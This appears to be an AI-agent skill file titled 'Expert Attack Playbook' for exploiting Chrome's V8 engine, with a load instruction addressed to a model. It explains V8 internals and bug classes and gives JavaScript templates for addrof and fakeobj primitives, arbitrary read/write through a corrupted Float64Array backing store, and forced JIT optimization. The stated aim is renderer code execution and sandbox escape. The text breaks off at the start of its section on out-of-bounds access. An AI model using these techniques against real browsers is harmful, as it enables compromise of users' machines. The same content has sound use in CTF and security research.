/browser-exploitation-v8

name: browser-exploitation-v8
description: >-
  Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

SKILL: Browser / V8 Exploitation — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

0. RELATED ROUTING

• [sandbox-escape-techniques](../sandbox-escape-techniques/SKILL.md) — Chrome renderer sandbox escape via IPC/Mojo
• [heap-exploitation](../heap-exploitation/SKILL.md) — general heap concepts applicable to V8 heap
• [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — ROP concepts for native code execution after V8 escape
• [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — ASLR/NX bypass in browser context

Advanced Reference

Load [V8_EXPLOITATION_PATTERNS.md](./V8_EXPLOITATION_PATTERNS.md) when you need:

• Detailed exploitation patterns and code templates
• Heap layout manipulation and GC interaction
• V8 sandbox bypass techniques
• Object map confusion patterns

---

1. V8 ARCHITECTURE

Compilation Pipeline

JavaScript Source
    ↓ Parser
  AST (Abstract Syntax Tree)
    ↓ Ignition
  Bytecode (interpreted, profiling)
    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
  Baseline code (fast startup)
    ↓ Maglev (mid-tier, V8 ≥ 10.2)
  Mid-optimized code
    ↓ TurboFan (optimizing JIT)
  Optimized machine code (with speculative optimizations)
    ↓ Deoptimization (if speculation fails)
  Back to Ignition bytecode

Key V8 Concepts

| Concept | Description | |---|---| | Tagged pointers | SMI (Small Integer): `value << 1`, HeapObject: `ptr \| 1` | | Pointer compression | V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox) | | Maps (Hidden Classes) | Define object shape: property names, types, offsets | | Elements kinds | Internal array type: `PACKED_SMI_ELEMENTS`, `PACKED_DOUBLE_ELEMENTS`, `PACKED_ELEMENTS`, etc. | | Write barrier | GC bookkeeping when heap pointers are written | | Garbage collection | Orinoco GC: minor (Scavenge) and major (Mark-Compact) |

Object Representation (64-bit, pointer compression)

HeapObject in V8 heap (compressed):
  +0x00: Map pointer (compressed, 32-bit offset)
  +0x04: Properties/Hash
  +0x08: Elements pointer (compressed)
  +0x0C: Length (for arrays)
  +0x10: Inline properties or backing store data

---

2. COMMON V8 BUG CLASSES

| Bug Class | Description | Example | |---|---|---| | JIT Type Confusion | TurboFan assumes wrong type after optimization | Speculative type guard eliminated, wrong operation applied | | Incorrect Bounds Elimination | JIT removes array bounds check based on wrong range analysis | `CheckBounds` node eliminated → OOB access | | Prototype Chain Confusion | Optimization assumes stable prototype, mutations invalidate | Prototype change after optimization → wrong property access | | Turbofan Reduction Bug | Incorrect strength reduction or constant folding | Integer overflow in range analysis | | Race Condition | SharedArrayBuffer + worker thread race | Type confusion via concurrent modification | | Off-by-one in Builtin | Boundary error in built-in function implementation | String/Array bounds | | Typer Bug | Incorrect type range computation in TurboFan | `Typer` says value is in [0, N] but can be N+1 |

Triggering JIT Optimization

function vuln(arr) {
    // ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
    vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);

---

3. EXPLOITATION PRIMITIVES

addrof — Leak Object Address

// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object

function addrof(obj) {
    // Setup depends on specific bug
    // Typically: trigger type confusion so array reads obj ref as float
    object_array[0] = obj;
    return ftoi(confused_float_array[0]);  // float-to-int conversion
}

fakeobj — Create Fake Object Reference

// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
//         read from confused object array → treated as object reference

function fakeobj(addr) {
    confused_float_array[0] = itof(addr);  // int-to-float conversion
    return object_array[0];                 // now a "pointer" to addr
}

Building Arbitrary R/W from addrof + fakeobj

// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);

// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W

function read64(addr) {
    // Set fake array's backing_store = addr
    write_to_fake_backingstore(addr);
    return fake_float64array[0];
}

function write64(addr, value) {
    write_to_fake_backingstore(addr);
    fake_float64array[0] = value;
}

---

4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks: